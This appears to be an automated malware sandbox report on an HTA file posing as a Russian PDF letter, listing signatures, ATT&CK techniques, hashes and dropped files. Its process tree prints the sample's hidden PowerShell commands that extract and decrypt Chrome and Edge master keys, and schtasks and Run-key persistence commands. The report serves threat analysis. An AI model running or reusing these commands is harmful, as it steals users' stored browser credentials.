7ff2ff71476d354fdf334bc299b35d4af0081231b9a67c030ac71dbe5aec84e4

Analysis

max time kernel
300s
max time network
288s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
08/08/2026, 15:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Исх. 134-ОБ от 06.08.2026/Исх. 134-ОБ от 06.08.2026.pdf.hta
Size 227KB
Sample260808-s8vmzstxcs
SHA256 7ff2ff71476d354fdf334bc299b35d4af0081231b9a67c030ac71dbe5aec84e4
MD5 3123b59f50bc2122929d66abd16e0c45
SHA1 cae30c6f519cf8dbb29c97602aa1d65912fb30f3
SHA512 79fbe0f61da02ae31d2277ceb78d55d7adced3badd91563fecf1bc21cd5008108dae23c83a4000db4897a1484744f43bb912586de9341b893a26b16043b0b4b9
SSDEEP 1536:neHpsZXHhui2LpUVYE6srgc5WBsK5IFEYm7vQlCKC/Tk4GFE1yWi9v2a/br9wGWb:eJN3sXNbB3U
TLSH
T1C234C28498A5C0C0F84B38C0C9D4308619353EBBB61BEE59343D7BBAFA665895F645CF
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery execution persistence spyware stealer

Malware Config

Signatures

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	5900	wscript.exe
7	1748	wscript.exe
8	1748	wscript.exe
9	5900	wscript.exe
85	4312	wscript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1028	powershell.exe
2976	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Control Panel\International\Geo\Nation	wscript.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 10 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\MediaRocket = "\"C:\\Windows\\System32\\wscript.exe\" \"C:\\Users\\Admin\\AppData\\Local\\ZoolzApp\\Encrypt\\Menu\\Private\\config_backup.js\""	wscript.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Archivit = "\"C:\\Windows\\System32\\wscript.exe\" \"C:\\Users\\Admin\\AppData\\Local\\FileZelo\\Compress\\Proxy\\Total\\Radio\\Domain\\presentation.js\""	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Unarxer = "\"C:\\Windows\\System32\\wscript.exe\" \"C:\\Users\\Admin\\AppData\\Local\\FileZelo\\Compress\\Proxy\\Attach\\Collapse\\calendar_event.js\""	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\MediaRocket = "\"C:\\Windows\\System32\\wscript.exe\" \"C:\\Users\\Admin\\AppData\\Local\\FileZelo\\Compress\\Proxy\\Toggle\\Line\\Boot\\scheduler.js\""	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\VSCodium = "\"C:\\Windows\\System32\\wscript.exe\" \"C:\\Users\\Admin\\AppData\\Local\\FileZelo\\Compress\\Proxy\\Connected\\Expand\\application_list.js\""	wscript.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\MediaRocket = "\"C:\\Windows\\System32\\wscript.exe\" \"C:\\Users\\Admin\\AppData\\Local\\FileZelo\\Compress\\Proxy\\Toggle\\Line\\Boot\\scheduler.js\""	wscript.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\MediaRocket = "\"C:\\Windows\\System32\\wscript.exe\" \"C:\\Users\\Admin\\AppData\\Local\\ZoolzApp\\Encrypt\\Menu\\Private\\config_backup.js\""	wscript.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Archivit = "\"C:\\Windows\\System32\\wscript.exe\" \"C:\\Users\\Admin\\AppData\\Local\\FileZelo\\Compress\\Proxy\\Total\\Radio\\Domain\\presentation.js\""	wscript.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\VSCodium = "\"C:\\Windows\\System32\\wscript.exe\" \"C:\\Users\\Admin\\AppData\\Local\\FileZelo\\Compress\\Proxy\\Connected\\Expand\\application_list.js\""	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Unarxer = "\"C:\\Windows\\System32\\wscript.exe\" \"C:\\Users\\Admin\\AppData\\Local\\FileZelo\\Compress\\Proxy\\Attach\\Collapse\\calendar_event.js\""	wscript.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4656	cmd.exe
1404	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
624	schtasks.exe
4936	schtasks.exe
2816	schtasks.exe
4092	schtasks.exe

Script User-Agent 3 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	7	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	85	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	6	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1028	powershell.exe
1028	powershell.exe
1028	powershell.exe
2976	powershell.exe
2976	powershell.exe
2976	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1028	powershell.exe
Token: SeDebugPrivilege	2976	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4484 wrote to memory of 624	4484	mshta.exe	85
PID 4484 wrote to memory of 4936	4484	mshta.exe	88
PID 4484 wrote to memory of 2816	4484	mshta.exe	90
PID 4484 wrote to memory of 4092	4484	mshta.exe	92
PID 2940 wrote to memory of 4656	2940	wscript.exe	104
PID 4656 wrote to memory of 1028	4656	cmd.exe	107
PID 2940 wrote to memory of 1404	2940	wscript.exe	109
PID 1404 wrote to memory of 2976	1404	cmd.exe	111

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\Исх. 134-ОБ от 06.08.2026\Исх. 134-ОБ от 06.08.2026.pdf.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4484
- C:\Windows\SysWOW64\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "Movavius\Cursor\Alert" /tr "C:\Windows\System32\wscript.exe "C:\Users\Admin\AppData\Local\ZoolzApp\Encrypt\Menu\Blur\project_plan.js"" /sc minute /mo 15 /rl LIMITED /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Scheduled Task/Job: Scheduled Task
  PID:624
- C:\Windows\SysWOW64\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "Movavius\Cursor\Confirm" /tr "C:\Windows\System32\wscript.exe "C:\Users\Admin\AppData\Local\ZoolzApp\Encrypt\Menu\Service\sent_items.js"" /sc minute /mo 15 /rl LIMITED /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Scheduled Task/Job: Scheduled Task
  PID:4936
- C:\Windows\SysWOW64\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "Movavius\Cursor\Drive" /tr "C:\Windows\System32\wscript.exe "C:\Users\Admin\AppData\Local\ZoolzApp\Encrypt\Menu\Active\Italic\photo_gallery.js"" /sc minute /mo 10 /rl LIMITED /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Scheduled Task/Job: Scheduled Task
  PID:2816
- C:\Windows\SysWOW64\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "Movavius\Cursor\Decline" /tr "C:\Windows\System32\wscript.exe "C:\Users\Admin\AppData\Local\ZoolzApp\Encrypt\Menu\Private\config_backup.js"" /sc minute /mo 5 /rl LIMITED /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Scheduled Task/Job: Scheduled Task
  PID:4092

C:\Windows\System32\wscript.exe
"C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\FileZelo\Compress\Proxy\Total\Radio\Domain\presentation.js"
1⤵
- Adds Run key to start application
PID:3488

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe
1⤵
PID:4304

C:\Windows\System32\wscript.exe
"C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\FileZelo\Compress\Proxy\Attach\Collapse\calendar_event.js"
1⤵
- Badlisted process makes network request
- Adds Run key to start application
PID:5900

C:\Windows\System32\wscript.exe
"C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\FileZelo\Compress\Proxy\Connected\Expand\application_list.js"
1⤵
- Checks computer location settings
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -WindowStyle Hidden -Command "& {Add-Type -AssemblyName System.Security;$a=ConvertFrom-Json(Get-Content 'C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State' -Raw);$b=[System.Convert]::FromBase64String($a.os_crypt.encrypted_key);$c=$b[5..($b.Length - 1)];$d=[System.Security.Cryptography.ProtectedData]::Unprotect($c, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser);$e=[System.Convert]::ToBase64String($d);Set-Content -Path 'C:\Users\Admin\AppData\Local\Wunderlistix\Option\Color\SMK1.txt' -Value $e;}"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4656
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "& {Add-Type -AssemblyName System.Security;$a=ConvertFrom-Json(Get-Content 'C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State' -Raw);$b=[System.Convert]::FromBase64String($a.os_crypt.encrypted_key);$c=$b[5..($b.Length - 1)];$d=[System.Security.Cryptography.ProtectedData]::Unprotect($c, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser);$e=[System.Convert]::ToBase64String($d);Set-Content -Path 'C:\Users\Admin\AppData\Local\Wunderlistix\Option\Color\SMK1.txt' -Value $e;}"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -WindowStyle Hidden -Command "& {Add-Type -AssemblyName System.Security;$a=ConvertFrom-Json(Get-Content 'C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State' -Raw);$b=[System.Convert]::FromBase64String($a.os_crypt.encrypted_key);$c=$b[5..($b.Length - 1)];$d=[System.Security.Cryptography.ProtectedData]::Unprotect($c, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser);$e=[System.Convert]::ToBase64String($d);Set-Content -Path 'C:\Users\Admin\AppData\Local\Wunderlistix\Option\Color\SMK2.txt' -Value $e;}"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1404
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "& {Add-Type -AssemblyName System.Security;$a=ConvertFrom-Json(Get-Content 'C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State' -Raw);$b=[System.Convert]::FromBase64String($a.os_crypt.encrypted_key);$c=$b[5..($b.Length - 1)];$d=[System.Security.Cryptography.ProtectedData]::Unprotect($c, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser);$e=[System.Convert]::ToBase64String($d);Set-Content -Path 'C:\Users\Admin\AppData\Local\Wunderlistix\Option\Color\SMK2.txt' -Value $e;}"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2976

C:\Windows\System32\wscript.exe
"C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\FileZelo\Compress\Proxy\Toggle\Line\Boot\scheduler.js"
1⤵
- Badlisted process makes network request
- Adds Run key to start application
PID:1748

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe C:\Users\Admin\AppData\Local\ZoolzApp\Encrypt\Menu\Private\config_backup.js
1⤵
- Badlisted process makes network request
- Adds Run key to start application
PID:4312

C:\Windows\System32\wscript.exe
"C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\ZoolzApp\Encrypt\Menu\Private\config_backup.js"
1⤵
- Adds Run key to start application
PID:4440

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

calendar_event.js

Path C:\Users\Admin\AppData\Local\FileZelo\Compress\Proxy\Attach\Collapse\calendar_event.js
Size 3KB
SHA256 9f22d035900d4c8fe27112b915547582f620b86a092abffa2fc8f1bb29ff897c
MD5 4e63b7bfda0f78ba519a45ab20d1bd24
SHA1 4cb505088a068e5a0f9e2d662d806b2bed3bbb9c
SHA512 605061e0f98a072c12ee5f321a80fcede6f1692465efd90289cffe8e6d76c089dec66d84e3da92be827beb8297974f8a395296649673abf02153871c8ec393e6
TLSH
T14671E8E2390DB7A0C1AD29FA0CCE4A9C59B28E8D6071A1C73021E50C71E1811CB3FDD6
MD5 SHA1 SHA512 TLSH

Submit Download

application_list.js

Path C:\Users\Admin\AppData\Local\FileZelo\Compress\Proxy\Connected\Expand\application_list.js
Size 3KB
SHA256 076a304a7565bb5ed1d5a43e1053996306f50623b9251e6940ff9375045c054d
MD5 76c01a0b98f510b10bfd5d2844151284
SHA1 8833ce54502544001ac96dc5fc693329d2db6e14
SHA512 b64e0763f90af582ff38f8675599afcd39c6e3cc47804720e79fff68510371a8d27f60812b34007a33811d197557b3f04a93067b62be7ed3cbd5ffb81db6c3e7
TLSH
T16D61E75A385D3755D02F01F0629F81088235818DB128E3D7B21CEA9EB76C41ADB2FDEB
MD5 SHA1 SHA512 TLSH

Submit Download

scheduler.js

Path C:\Users\Admin\AppData\Local\FileZelo\Compress\Proxy\Toggle\Line\Boot\scheduler.js
Size 2KB
SHA256 87ae53a35240ecc5a736bfe190c2b92d53b30b6a9c5e065303bc0da544498f6d
MD5 02b4ad3aba4e22a73e61a1dc2815f69d
SHA1 124e91e08c2bdc052350f907c9f07dcaad1ebdb8
SHA512 297c5fa1e8fed457d0957543cb048ed0838da11177db7d80a90c953603e58230c1d7c08ec5ede70aefeee05ca5982863e67b077b15d18ee618f245e30ad2c747
TLSH
T15751A5B3A10C3FC5A5CD24F4664EA55AEA7109CC71E0D0E27C05E99F3A31504AB5FEE9
MD5 SHA1 SHA512 TLSH

Submit Download

presentation.js

Path C:\Users\Admin\AppData\Local\FileZelo\Compress\Proxy\Total\Radio\Domain\presentation.js
Size 3KB
SHA256 a2f38daceafe6e7681280b84847092cfbac5e40a07d4f7a51cb5d473b534e089
MD5 354f3ad40ffe88163686343d308fff2b
SHA1 600cdff460fbdc9458e61242a9c7ad0ee08b0c02
SHA512 529b182d5e07e2276ec37f4c1b396431f23c67dcd3bde8e0105e0a83385b1322b8ec7e2df66dad54150a0fccf232e7d728cee69f2043eb39f92206effbfd51ac
TLSH
T11771D7A0295DABC049DE64F9475F8045852290CD24B896D5B020CE5E7A70804FB7BDFA
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 8a2e9ab64c581c6884ea9ee1b9109375d5cb0dbac683b8e2d5308817441554ce
MD5 ce6e5bd60f70c2ec74178cab10287d52
SHA1 77d8bbc5283ba6edde6b3839014255c4407484ac
SHA512 eb1c0494ae300d9b740db34577db2d9a9c27a28cb49a47af11c26039eb827cc7fcd92187d121def78be6f18c36731bf8f7c4104b9ff0be009c69612f342fdadf
TLSH
T10C71FE313275B1D4C9567F071A2819D453BF4386EAA4AF5CB298221EDD2640BDB222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 85055fc03f6a211e18647ddd68208fb29042bff9703f80a4db820428ceb962ea
MD5 c567b9f0bea3a0adab179171811d45f7
SHA1 e3ff0c10809d0a669fa9fa7a8be4511b20300843
SHA512 0e304bdf2e8168f98a52528a2784c375d29b2d0641c2a2ee83523fc87309d7e70a16a3e1f8fd7b85eda2c0ed93432a36e3d93e11e08c054ec795f1424932809f
TLSH
T16831CB27B38CC5E1CC86193A94AD6C11727E92D7C19BCEDB6AC0C204F5AF5C4CB69B50
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_yd5mnysg.n10.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yd5mnysg.n10.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

2025-08-30_17-56-26_13429_FormatSplit.xlsx

Path C:\Users\Admin\AppData\Local\Wunderlistix\Option\Color\Desktop\2025-08-30_17-56-26_13429_FormatSplit.xlsx
Size 13KB
SHA256 22d601cb7c6486fffd14aafb3acb61b5733bf5c48139348ad84fafd3d07565f8
MD5 e7853c1c7c6c5b96882f3edd5f2d98dc
SHA1 9df31bd777ab12308c1ef848ead6f2744d7c3860
SHA512 b86d7a0c65f1de92415da24643ee8f60d01c3d3816533031584c2421a7ad31a0a497fb7e6027c0e1911e86e5168538e31f7b436717ff62e6791bc9a445eb1e8b
SSDEEP 384:wc3ltP3y7x1+jbaEUlM9z6p4SVg4NWrYaoZb:wstGfDExWphJWsf5
TLSH
T14C52AF18E23545BDC23544FEACB9A1F2204BA1815695209FEC7CF29F52071A513DE3FE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

2026-02-13_14-56-36_17739_SaveWrite.docx

Path C:\Users\Admin\AppData\Local\Wunderlistix\Option\Color\Desktop\2026-02-13_14-56-36_17739_SaveWrite.docx
Size 17KB
SHA256 e10df654519c93fa61f812a5152b0abe4e1762d0bf03cae81de0cc403afdd481
MD5 62a06c9d93b5b7916ac8aaef3e1c7b43
SHA1 725657a6dde07b475a4ed04eff5ff578229eaf5f
SHA512 9012676a7ea3e90fcf4fef52699594b450d3336c53add449a72c373b3824f3dc72fdd37f54741e47b3618a3c0d8b9f1d85a6f11f554efc8385ab7706603a0e46
SSDEEP 384:aNSYVEhMPv0tF73NdKRXwJdNxt/ZtNN/fNpIFHK4vw/T:kVEhMPgN0RXixllNXjItXYr
TLSH
T18682BF31D6019931DAB3827DD0B917F8DC1C50637605D00B2986AADF8796B8A0B96AAB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

2026-04-07_07-55-34_1186765_SendClose.dxf

Path C:\Users\Admin\AppData\Local\Wunderlistix\Option\Color\Desktop\2026-04-07_07-55-34_1186765_SendClose.dxf
Size 1.1MB
SHA256 cee6206c617d8ac9df324a5f0b72478c79ca628a97f9df1746cd8e79c4f276a0
MD5 61bcbd89cac78c185ef862025c6ada18
SHA1 70015960ec2cfc97220c425e9fb59828d807c624
SHA512 689946fae4536b3f6901556702a3c6347a7bab19a3d3c192f1e35c110dcd7e42134428011fd9e0cc4970cfa979d900d6a7432b37355436ef451956b4e295ab9c
SSDEEP 24576:t9E0LBE5IEwISc5gw5il7poJ01rMtXiwWtsLJBreJ:Y0LwwBctol72JgYvLjqJ
TLSH
T1EE453383AC0A7D7565B95EC6F70D3C1BC4F666EA8F741DCF80F5549232426B508D2839
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

2026-04-28_11-55-33_465340_UpdateFormat.txt

Path C:\Users\Admin\AppData\Local\Wunderlistix\Option\Color\Desktop\2026-04-28_11-55-33_465340_UpdateFormat.txt
Size 454KB
SHA256 2df1a6325a3344eed311487cdff408414b1fb8e2c655b7a7fdb7b12b81debcd8
MD5 e5e3507db086820fc1b5c65f6d79719e
SHA1 5250f927edf408e9c9d3c0e518f98a0b43a6bee2
SHA512 b587e0ec4a7a3647e7fc9d441fef6821858d3dc397e1f2b256dc7118701cddec164f59cb4c42f4d901188b6e628cf9ff089723b551e355249569d802bff21860
SSDEEP 12288:EiLXmMtYnNuBIG6Lye0jNs10XhtTfbDfy:EiTjYnNuBIG8QNRbTffy
TLSH
T13CA42386288494DF8B576FE67067746AE3F0F96DF90ED80CE87CFC490662384694E478
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

2026-04-29_18-55-33_511874_WriteSearch.odt

Path C:\Users\Admin\AppData\Local\Wunderlistix\Option\Color\Desktop\2026-04-29_18-55-33_511874_WriteSearch.odt
Size 499KB
SHA256 4ddd5e086e675c3f7979c079a634ced6b3bffdcbcc7388e80c73fa80e05e4957
MD5 3df204f5a5dc5812819e0a9c2f9bf2ac
SHA1 1580c340f3731aa165f160b8131174f2dd2c4a36
SHA512 a2a2e9dd929b4f9f23862a98f7caee210df623ee7fa75b7b7a8a31f4486e6ed898f842288b6ae26eda00c08a095aff4ab1abe2b9af88d27a2da72a1f088caf8c
SSDEEP 12288:mmyhATUqsaSWYQnZTyhW1E769pM1TeZUqdK:mmGAQqsaLJnZWhZ76y6CqdK
TLSH
T1C4B4239295AA8ECFF189D412792521661BF42B7D0C1B3F89A70D5D0D731A4CE2362CFB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

2026-04-30_09-55-34_860879_SubmitUnlock.jpeg

Path C:\Users\Admin\AppData\Local\Wunderlistix\Option\Color\Desktop\2026-04-30_09-55-34_860879_SubmitUnlock.jpeg
Size 840KB
SHA256 731f93f8c7e80d18b454435b11627de97f9c87ac4e624a545c81aa3e70c2a88e
MD5 dd631dd519f3aa504dc170becb969c2f
SHA1 a745bfbfb28992bbf6681cfbf977a00897440b06
SHA512 984dfe27ea36bf970bf0c81cfa4062ef21922ee4f3b9249c523b69fe47190856ea07369405e2460ebd817fa163709e88ff392641857970c3942fa2b1ec3c447d
SSDEEP 24576:cgeuvZSgg3hX1JAzzF7pZ99pBHDebVlo5ZP0vHsW7I:c1uBSggF1JAzzHhplebcV0vHsWk
TLSH
T1F9052328A6A1EE16C1FB2CBFC483A51F9D0243DA466517F58556027F4F10AFFB20A8F5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

2026-05-13_16-55-33_442073_MoveOut.dxf

Path C:\Users\Admin\AppData\Local\Wunderlistix\Option\Color\Desktop\2026-05-13_16-55-33_442073_MoveOut.dxf
Size 431KB
SHA256 4632404c158a9b810cfdd4abcfd5632e51c5bda4d4f5adbf25c061670c63c649
MD5 cdb87eec82f3a800410cdacc595065fb
SHA1 8c10b2dc6a602509f746c50ea94210086675be90
SHA512 850271ff4988e12f23aac91ead6a88f8d7326a3e1d91122d74c1408a7a2801e8e23f6a13bdda4a12a6b81b01e244d2d020ce75dacdfc51c3be34c6b9410ae340
SSDEEP 12288:8QhSOSBSoVbtE1WKlYwhmzgg/jQv9IKK+uJxAAjInNt:8MqSoJtEflYw4zgg/jQvnKh8L
TLSH
T1C79423B3626CAC4B86354D499FA1D9211B3B6EEE10F0578F6D74203F03AB64B53F5292
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

2025-01-24_07-56-34_13470_DenyRead.xlsx

Path C:\Users\Admin\AppData\Local\Wunderlistix\Option\Color\Documents\2025-01-24_07-56-34_13470_DenyRead.xlsx
Size 13KB
SHA256 c7ce7c968f567278219cd509379bc3930e52147a7920e3c30b066111c386b4ba
MD5 31fd2edceda0d3789039c1a1d04599f2
SHA1 9f358022dbb23ae7db8b7b7770af997b46790796
SHA512 b2b29210201bf792ff512af4b191742e4372c17175bb6d2d1ad45c4586b8c574a5c08c5b8a900903004510da8b589ca44c7eedb2119d19033d6b6b3b855c4da8
SSDEEP 384:wc3gzrI3Hiu2dteUlM9z6p7kBSdDO/WaoG:wNDExWp7kIdZfG
TLSH
T122528D5B91B6826DE1B740BE918E42F8BB4D22408513735E7D64F05F46017B3A7EE29C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

2025-10-04_21-56-31_19299_GroupUnregister.docx

Path C:\Users\Admin\AppData\Local\Wunderlistix\Option\Color\Documents\2025-10-04_21-56-31_19299_GroupUnregister.docx
Size 18KB
SHA256 b6a508ceb3a2d286f0a12bcb77e4b6fb1f9397ff1fcefb753898502bd51d4b88
MD5 c2a0231c577c8934a652718961baf41f
SHA1 5dd891bef2102f61bb33bf7af55db7e2d7d79d4c
SHA512 27827187d01f1e6fc1dba0f7693b7f1c4041473576597a32c43eb3bb2d46fcf15802f68c097d7866662132300321a98847f3e8b63809f4b29e85c58a4e091d26
SSDEEP 384:a3SzYCKoxXmEMVPyqNf7KdNxt/ZtNNcl2fGiIFHKAfiGRB:ASzYjElOuxllNtfGiItZH
TLSH
T1AB82CF39D956AC10FF73CAB8910513F1D11E45A33A86E01F324FEADF96539570323A86
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

2026-04-05_21-55-32_1417682_RemoveStep.doc

Path C:\Users\Admin\AppData\Local\Wunderlistix\Option\Color\Documents\2026-04-05_21-55-32_1417682_RemoveStep.doc
Size 1.4MB
SHA256 d09dcd482745bd810be3441bbdaee71b75396238c7e00c6669acdec42b93f0da
MD5 9e262c17e6bc55b94f56aca375de2c39
SHA1 2883bd22aed7744053e0bdd2013f852480cda1d7
SHA512 6d856b2ed91d7c852b37efc532c189ea35aead52d982a58a5a3702c7c9434a7f8af782e541f7b1f1761457792e6ec28a4805583c169194562abecb09031ec0bc
